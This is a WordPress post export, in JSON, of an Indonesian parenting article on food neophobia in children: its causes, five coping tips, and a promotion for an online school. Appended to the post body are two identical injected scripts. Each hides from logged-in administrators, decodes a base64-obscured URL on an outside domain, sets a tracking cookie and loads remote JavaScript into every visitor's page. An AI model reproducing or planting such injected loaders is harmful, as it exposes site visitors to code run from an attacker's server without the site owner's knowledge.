{"id":319,"date":"2025-10-17T09:00:00","date_gmt":"2025-10-17T02:00:00","guid":{"rendered":"https:\/\/example.com\/?p=319"},"modified":"2026-01-20T06:24:04","modified_gmt":"2026-01-19T23:24:04","slug":"anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak","status":"publish","type":"post","link":"https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak","title":{"rendered":"Food Neophobia: Rasa Takut Mencoba Makanan Baru pada Anak"},"content":{"rendered":"<p style=\"text-align: center; font-size: 16px;\"><em><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/a2d6512d-98e2-469d-bfa6-841f02a3e0d6.png\" alt=\"food neophobia\" width=\"820\" \/><\/em><\/p>\n<blockquote>\n<p style=\"text-align: center; font-size: 16px;\"><em>Food Neophobia merupakan hal normal yang dialami anak-anak. Namun, apakah ini bisa diatasi? Yuk simak informasinya!<\/em><\/p>\n<\/blockquote>\n<p style=\"text-align: center;\">&#8212;<\/p>\n<p style=\"text-align: justify;\">Apakah anak Anda sering menolak makanan yang diberikan? Bisa jadi anak Anda sedang mengalami <em>food neophobia<\/em>. Nah, apa sih f<em>ood neophobia<\/em> ini? Yuk, kenali pengertian, penyebab, serta cara mengatasinya secara lengkap di artikel berikut ini.<\/p>\n<p>&nbsp;<\/p>\n<h2><strong><span style=\"font-size: 18pt;\">Pengertian Food Neophobia<\/span><\/strong><\/h2>\n<p style=\"text-align: justify;\"><strong><em>Food neophobia <\/em>adalah ketakutan untuk mencoba makanan baru<\/strong>, ini dianggap normal sebagai bagian dari tahapan perkembangan anak dan mempengaruhi sekitar 50% &#8211; 75% anak-anak. Anak mengalami hal ini biasanya antara usia 2-6 tahun, dan hilang ketika anak-anak sudah tumbuh dewasa. Namun, ada juga dalam beberapa kasus, hal ini tetap berlanjut hingga anak dewasa. Anak yang mengalami <em>food neophobia<\/em> dapat langsung menolak makanan yang baru disajikan, bukan ketika mereka telah mencicipinya.<\/p>\n<p style=\"text-align: justify;\">Perlu Anda ketahui juga, <em>food neophobia<\/em> berbeda dengan<em> picky eater. Picky eater<\/em> adalah konsisi anak yang sering menolak makanan yang tidak dikenal atau telah dikenal, sebab anak tidak menyukai rasa makanan tersebut. Sedangkan, f<em>ood neophobia <\/em>hanya menolak makanan yang tidak mereka kenal.<\/p>\n<p style=\"text-align: justify;\"><em>Food neophobia<\/em> seringkali juga dikatakan sebagai salah satu bentuk pertahanan diri anak. Anak mempunyai tingkat sensitivitas yang tinggi saat merasakan, melihat, atau mengalami hal baru. Anak cenderung berhati-hati ketika merespon hal baru. Oleh sebab itu, tidak heran jika anak juga menolak ketika Anda memberikan makanan yang baru pertama kali dirasakannya. Namun, suatu saat bisa saja anak menyukai makanan tersebut, jika Ia sudah mengenal berbagai rasa makanan.<\/p>\n<p style=\"text-align: center;\"><img decoding=\"async\" style=\"width: 600px; margin-left: auto; margin-right: auto; display: block;\" src=\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/hs\/305b7b22-a4e0-4dad-8a9c-30265b64485b_43.jpeg\" alt=\"Mengenal food neophobia\" \/><em>(Sumber: Haibunda.com)<\/em><\/p>\n<p><strong>Baca Juga: <a href=\"https:\/\/www.altaschool.id\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids\">Grounding Kids: Pengertian, Alasan &amp; Cara Menerapkannya<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2><strong><span style=\"font-size: 18pt;\">Penyebab Food Neophobia<\/span><\/strong><\/h2>\n<p style=\"text-align: justify;\">Beberapa penyebab umum <em>food neophobia<\/em> pada anak antara lain:<\/p>\n<h3 style=\"text-align: justify;\"><strong><span style=\"font-size: 14pt;\">1. Faktor Genetik<\/span><\/strong><\/h3>\n<p style=\"text-align: justify;\">Penelitian menunjukkan bahwa faktor genetik berperan dalam <em>food neophobia<\/em>. Anak-anak yang memiliki orang tua dengan kecenderungan takut atau tidak suka mencoba makanan baru cenderung lebih besar kemungkinannya mengembangkan neophobia makanan.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><strong><span style=\"font-size: 14pt;\">2. Pengalaman Makan yang Negatif<\/span><\/strong><\/h3>\n<p style=\"text-align: justify;\">Jika anak pernah mengalami pengalaman negatif dengan makanan, seperti merasa sakit setelah makan sesuatu yang baru atau tidak enak, hal ini bisa menyebabkan trauma yang mempengaruhi keterbukaan mereka terhadap makanan baru di masa mendatang.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><strong><span style=\"font-size: 14pt;\">3. Tahap Perkembangan<\/span><\/strong><\/h3>\n<p style=\"text-align: justify;\"><em>Food neophobia<\/em> sering terjadi pada anak usia 2-6 tahun, yang merupakan bagian normal dari perkembangan. Pada usia ini, anak-anak mulai lebih mandiri dan mengembangkan preferensi makanan sendiri. Mereka sering kali cenderung menolak makanan yang tidak dikenal sebagai mekanisme perlindungan alami.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><strong><span style=\"font-size: 14pt;\">4. Pengaruh Lingkungan dan Budaya<\/span><\/strong><\/h3>\n<p style=\"text-align: justify;\">Pola makan yang diterapkan di rumah atau dalam budaya tertentu bisa memengaruhi kebiasaan makan anak. Jika keluarga jarang memperkenalkan variasi makanan, anak mungkin kurang terbuka terhadap makanan baru.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><strong><span style=\"font-size: 14pt;\">5. Pengaruh Sosial<\/span><\/strong><\/h3>\n<p style=\"text-align: justify;\">Anak-anak sering kali dipengaruhi oleh lingkungan sosial mereka, seperti teman sebaya, pengasuh, atau orang tua. Jika anak melihat orang lain dalam lingkungannya menunjukkan ketakutan atau keengganan terhadap makanan tertentu, mereka mungkin meniru perilaku tersebut.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><strong><span style=\"font-size: 14pt;\">6. Tingkat Kecemasan dan Ketakutan<\/span><\/strong><\/h3>\n<p style=\"text-align: justify;\">Beberapa anak yang cenderung lebih cemas atau sensitif terhadap perubahan dalam rutinitas atau lingkungan juga mungkin lebih cenderung menunjukkan neophobia makanan.<\/p>\n<p><strong>Baca Juga: <a href=\"https:\/\/www.altaschool.id\/blog\/kenali-jenis-gangguan-kecemasan-pada-anak-orangtua-perlu-tahu\">Jenis Gangguan Kecemasan pada Anak, Orangtua Perlu Tahu!<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2><strong><span style=\"font-size: 18pt;\">Cara Mengatasi Food Neophobia pada Anak<\/span><\/strong><\/h2>\n<p style=\"text-align: justify;\">Nah, ketika anak Anda mengalami <em>food neophobia<\/em>, sebaiknya apa sih yang harus dilakukan?<\/p>\n<p style=\"text-align: justify;\">Berikut 5 cara mengatasi <em>food neophobia<\/em> yang sangat efektif untuk dicoba.<\/p>\n<h3 style=\"text-align: justify; font-size: 20px;\"><strong><span style=\"font-size: 14pt;\">1. Berikan Contoh<\/span><\/strong><\/h3>\n<p style=\"text-align: justify;\">Anak-anak sering meniru apa yang dilakukan orang di sekitarnya, jadi memberikan contoh tentu jadi pilihan terbaik. Jika Anda ingin anak memakan sayuran seperti brokoli, maka sebaiknya Anda memakannya terlebih dahulu di depan anak. Sebab, tidak adil jika Anda memaksa anak melakukan sesuatu yang tidak Anda coba sendiri. Anak-anak juga bisanya menjadikan orang tua sebagai panutan mereka. Oleh sebab itu, lebih mudah untuk menanamkan pola hidup sehat pada anak ketika mereka melihat bahwa Anda juga melakukan hal tersebut.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify; font-size: 20px;\"><strong><span style=\"font-size: 14pt;\">2. Deskripsikan Makanan Supaya Anak Tertarik Mencoba<\/span><\/strong><\/h3>\n<p style=\"text-align: justify;\">Anak-anak biasanya bergantung pada <em>sensoris deskriptif<\/em> mereka, seperti paparan visual, rasa, serta bau untuk menavigasikan di sekitar makanan yang mereka makan. Oleh karena itu, sebaiknya jelasakan dulu kepada anak makanan baru yang Anda sajikan dengan cara imajinatif, serta jangan lupa menjelaskan pada anak tentang informasi nutrisi yang ada dalam makanan tersebut.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify; font-size: 20px;\"><strong><span style=\"font-size: 14pt;\">3. Kreasikan Makanan<\/span><\/strong><\/h3>\n<p style=\"text-align: center;\"><img decoding=\"async\" style=\"width: 600px; margin-left: auto; margin-right: auto; display: block;\" src=\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/hs\/8-cara-menambah-nafsu-makan-anak.jpg\" alt=\"Penyebab Food Neophobia\" \/><em>(Sumber: Alodokter.com)<\/em><\/p>\n<p style=\"text-align: justify;\">Mulailah mengenalkan makanan baru kepada anak dengan porsi yang kecil. Lalu, Anda bisa menyajikannya dengan mengkreasikan menu makanan mereka. Bahkan Anda bisa menyajikannya tanpa anak menyadari kehadiran makanan tersebut. Contohnya, Anda bisa memasukkan makanan tersebut ke dalam sup yang telah biasa dimakan anak, ke dalam <em>hamburger,<\/em> atau bisa juga dicampur ke dalam kue kesukaan mereka.<\/p>\n<p style=\"text-align: justify;\">Selain takut dengan rasa baru, anak-anak yang mengalami<em> food neophobia<\/em> juga kadang takut dengan bentuk baru. Oleh karena itu, Anda bisa mengkreasikan makanan tersebut dalam berbagai bentuk dan jenis masakan. Contohnya, wortel yang biasanya Anda sajikan dengan irisan biasa, kini Anda bisa membentuk wortel tersebut menjadi bentuk tertentu, seperti bunga dan lain sebagainya.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify; font-size: 20px;\"><strong><span style=\"font-size: 14pt;\">4. Makan Bersama<\/span><\/strong><\/h3>\n<p style=\"text-align: justify;\">Makan bersama keluarga menjadi salah satu pedoman kebiasaan makan sehat bagi anak. Selalu berikan anak contoh dengan aktif memakan makanan yang beragam, sehingga Ia mau mencoba berbagai jenis makanan. Lalu, ciptakan suasana yang santai tanpa gangguan ketika makan, baik dari gangguan ponsel, TV atau mainan.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify; font-size: 20px;\"><strong><span style=\"font-size: 14pt;\">5. Tidak Memaksa<\/span><\/strong><\/h3>\n<p style=\"text-align: center;\"><img decoding=\"async\" style=\"width: 600px; margin-left: auto; margin-right: auto; display: block;\" src=\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/hs\/096861000_1604028187-shutterstock_1435167557.jpg\" alt=\"Tips Mengatasi Food Neophobia\" \/><em>(Sumber: Klikdokter.com)<\/em><\/p>\n<p style=\"text-align: justify;\">Jika Anda sering memaksa anak untuk mencoba makanan baru, maka mulai sekarang sebaiknya jangan lakukan hal tersebut. Sebab, ini bisa memicu anak menolak makanan yang Anda berikan, hanya karena Ia ingin mengambil sikap menentang orang tua. Anak-anak biasanya juga sudah memiliki sikap pribadi dan ingin menegaskan bahwa Ia tidak harus selalu menuruti orang tuanya. Nah, memaksa anak memakan makanan baru merupakan hal berbahaya, sebab bisa membuat anak menjadi <em>picky eater.<\/em><\/p>\n<p style=\"text-align: center;\">&#8212;<\/p>\n<p style=\"text-align: justify;\">Itulah berbagai informasi tentang <em>food neophobia<\/em> yang perlu Anda ketahui. Jika anak Anda mengalami f<em>ood neophobia<\/em> sebaiknya segera diatas, sebab bisa mempengaruhi asupan nutrisinya.<\/p>\n<p style=\"text-align: justify;\">Nah, selain memperhatikan kebiasaan makan anak, jangan lupa perhatikan kebiasaan belajarnya ya. Bagi Anda yang memiliki anak di tingkat PAUD hingga SD, kini Anda bisa membantunya untuk belajar dengan cara yang lebih menarik melalui <strong><a href=\"https:\/\/www.altaglobalschool.com\/\">Alta Global School by Ruangguru<\/a>.<\/strong><\/p>\n<p style=\"text-align: justify;\">Alta Global School by Ruangguru\u00a0menyediakan sistem\u00a0<i>blended learning<\/i>, gabungan pembelajaran daring dan luring, mulai dari\u00a0<i>preschool\u00a0<\/i>sampai\u00a0<i>high school<\/i>, dengan\u00a0<i>Champions Curriculum<\/i>\u00a0yang menggabungkan kurikulum internasional dan nasional. Yuk, daftar sekarang juga!<\/p>\n<p><strong>Masih ragu? Coba kelas gratisnya dengan klik gambar di bawah ini!<\/strong><\/p>\n<p><a href=\"https:\/\/form.jotform.com\/250607704125450\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/8f335b78-3dbf-4413-9ebf-faccfe12d155.png\" alt=\"free trial\" width=\"1024\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><strong>Sumber:<\/strong><\/p>\n<p style=\"text-align: justify;\">Handayani, F. P. &#8216;Mengenal <em>Food Neophobia<\/em>, Ketika Anak Takut Mencoba Makanan yang Baru Dilihatnya&#8221;, <em>Theasianparent.com,<\/em> [daring] Available at: https:\/\/id.theasianparent.com\/food-neophobia<\/p>\n<p style=\"text-align: justify;\">Ginanti, A. R. (2021), &#8216;<em>Food Neophobia<\/em> Bikin Anak Takut Coba Makanan Baru, Ini Cara Mengatasinya&#8217;, <em>Review.bukalapak.com<\/em>, 29 Desember 2021 [daring] Available at: https:\/\/review.bukalapak.com\/mom\/food-neophobia-anak-takut-coba-makanan-baru-115949<\/p>\n<p style=\"text-align: justify;\">Parenting. &#8216;<em>Food Neophobia<\/em>, Bila Anak Takut Mencoba Makanan Baru&#8217;, <em>Parenting.co.id,<\/em> [daring] Available at: https:\/\/www.parenting.co.id\/balita\/food-neophobia-bila-anak-takut-mencoba-makanan-baru<\/p>\n<p style=\"text-align: justify;\">Elissa, E. (2019), &#8216;Mengenal <em>Food Neophobia<\/em>, Ketika si Kecil Takut dengan Makanan yang Baru Dilihatnya&#8217;, <em>Journal.sociolla.com<\/em>, 31 Maret 2019 [daring] Available at: https:\/\/journal.sociolla.com\/lifestyle\/mengenal-food-neophobia-pada-anak\/<\/p>\n<p style=\"text-align: justify;\"><strong>Sumber Gambar:\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\">Anak Menolak Makanan [daring]. Available at: https:\/\/www.haibunda.com\/parenting\/20190218170435-59-32935\/cara-mengatasi-fobia-makanan-pada-anak<\/p>\n<p style=\"text-align: justify;\">Makanan yang Bentuknya Dikreasikan [daring]. Available at: https:\/\/www.alodokter.com\/8-cara-menambah-nafsu-makan-anak<\/p>\n<p style=\"text-align: justify;\">Memaksa Anak Makan [daring]. Available at: https:\/\/www.klikdokter.com\/info-sehat\/read\/3650519\/mengenal-wasting-dan-dampak-buruknya-pada-tumbuh-kembang-anak<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Food Neophobia merupakan hal normal yang dialami anak-anak. Namun, apakah ini bisa diatasi? Yuk simak informasinya! &#8212; Apakah anak Anda sering menolak makanan yang diberikan? Bisa jadi anak Anda sedang mengalami food neophobia. Nah, apa sih food neophobia ini? Yuk, kenali pengertian, penyebab, serta cara mengatasinya secara lengkap di artikel berikut ini. &nbsp; Pengertian Food [&hellip;]<\/p>\n","protected":false},"author":22,"featured_media":319,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_knawatfibu_url":["https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/a2d6512d-98e2-469d-bfa6-841f02a3e0d6.png"],"_edit_lock":["1760929575:1"],"_edit_last":["1"],"_wp_old_date":["2022-05-14","2024-10-16"],"_aioseo_title":[null],"_aioseo_description":["Food neophobia adalah ketakutan untuk mencoba makanan baru pada anak. Yuk, kenali pengertian, penyebab dan cara mengatasinya di artikel berikut ini."],"_aioseo_keywords":["a:0:{}"],"_aioseo_og_title":[null],"_aioseo_og_description":[null],"_aioseo_og_article_section":[""],"_aioseo_og_article_tags":["a:0:{}"],"_aioseo_twitter_title":[null],"_aioseo_twitter_description":[null],"_linker_next_update":["1769373863"],"_yoast_wpseo_metadesc":["Food neophobia adalah ketakutan untuk mencoba makanan baru pada anak. Yuk, kenali pengertian, penyebab dan cara mengatasinya di artikel berikut ini."]},"categories":[1],"tags":[],"class_list":["post-319","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Food Neophobia: Rasa Takut Mencoba Makanan Baru pada Anak<\/title>\n<meta name=\"description\" content=\"Food neophobia adalah ketakutan untuk mencoba makanan baru pada anak. Yuk, kenali pengertian, penyebab dan cara mengatasinya di artikel berikut ini.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Food Neophobia: Rasa Takut Mencoba Makanan Baru pada Anak\" \/>\n<meta property=\"og:description\" content=\"Food neophobia adalah ketakutan untuk mencoba makanan baru pada anak. Yuk, kenali pengertian, penyebab dan cara mengatasinya di artikel berikut ini.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak\" \/>\n<meta property=\"og:site_name\" content=\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\" \/>\n<meta property=\"article:published_time\" content=\"2025-10-17T02:00:00+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-01-19T23:24:04+00:00\" \/>\n<meta name=\"author\" content=\"Nurul Habibah\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Nurul Habibah\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak\",\"name\":\"Food Neophobia: Rasa Takut Mencoba Makanan Baru pada Anak\",\"isPartOf\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak#primaryimage\"},\"thumbnailUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/a2d6512d-98e2-469d-bfa6-841f02a3e0d6.png\",\"datePublished\":\"2025-10-17T02:00:00+00:00\",\"dateModified\":\"2026-01-19T23:24:04+00:00\",\"author\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/c265c8bed45d7904a2371e528494c2cd\"},\"description\":\"Food neophobia adalah ketakutan untuk mencoba makanan baru pada anak. Yuk, kenali pengertian, penyebab dan cara mengatasinya di artikel berikut ini.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak#primaryimage\",\"url\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/a2d6512d-98e2-469d-bfa6-841f02a3e0d6.png\",\"contentUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/a2d6512d-98e2-469d-bfa6-841f02a3e0d6.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.altaglobalschool.com\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Food Neophobia: Rasa Takut Mencoba Makanan Baru pada Anak\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/\",\"name\":\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/c265c8bed45d7904a2371e528494c2cd\",\"name\":\"Nurul Habibah\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g\",\"caption\":\"Nurul Habibah\"},\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/author\/nurul-habibah\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Food Neophobia: Rasa Takut Mencoba Makanan Baru pada Anak","description":"Food neophobia adalah ketakutan untuk mencoba makanan baru pada anak. Yuk, kenali pengertian, penyebab dan cara mengatasinya di artikel berikut ini.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak","og_locale":"en_US","og_type":"article","og_title":"Food Neophobia: Rasa Takut Mencoba Makanan Baru pada Anak","og_description":"Food neophobia adalah ketakutan untuk mencoba makanan baru pada anak. Yuk, kenali pengertian, penyebab dan cara mengatasinya di artikel berikut ini.","og_url":"https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak","og_site_name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","article_published_time":"2025-10-17T02:00:00+00:00","article_modified_time":"2026-01-19T23:24:04+00:00","author":"Nurul Habibah","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Nurul Habibah","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak","url":"https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak","name":"Food Neophobia: Rasa Takut Mencoba Makanan Baru pada Anak","isPartOf":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak#primaryimage"},"image":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak#primaryimage"},"thumbnailUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/a2d6512d-98e2-469d-bfa6-841f02a3e0d6.png","datePublished":"2025-10-17T02:00:00+00:00","dateModified":"2026-01-19T23:24:04+00:00","author":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/c265c8bed45d7904a2371e528494c2cd"},"description":"Food neophobia adalah ketakutan untuk mencoba makanan baru pada anak. Yuk, kenali pengertian, penyebab dan cara mengatasinya di artikel berikut ini.","breadcrumb":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak#primaryimage","url":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/a2d6512d-98e2-469d-bfa6-841f02a3e0d6.png","contentUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/a2d6512d-98e2-469d-bfa6-841f02a3e0d6.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.altaglobalschool.com\/blog\/anak-takut-coba-makanan-baru-yuk-kenali-food-neophobia-pada-anak#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.altaglobalschool.com\/blog"},{"@type":"ListItem","position":2,"name":"Food Neophobia: Rasa Takut Mencoba Makanan Baru pada Anak"}]},{"@type":"WebSite","@id":"https:\/\/www.altaglobalschool.com\/blog\/#website","url":"https:\/\/www.altaglobalschool.com\/blog\/","name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/c265c8bed45d7904a2371e528494c2cd","name":"Nurul 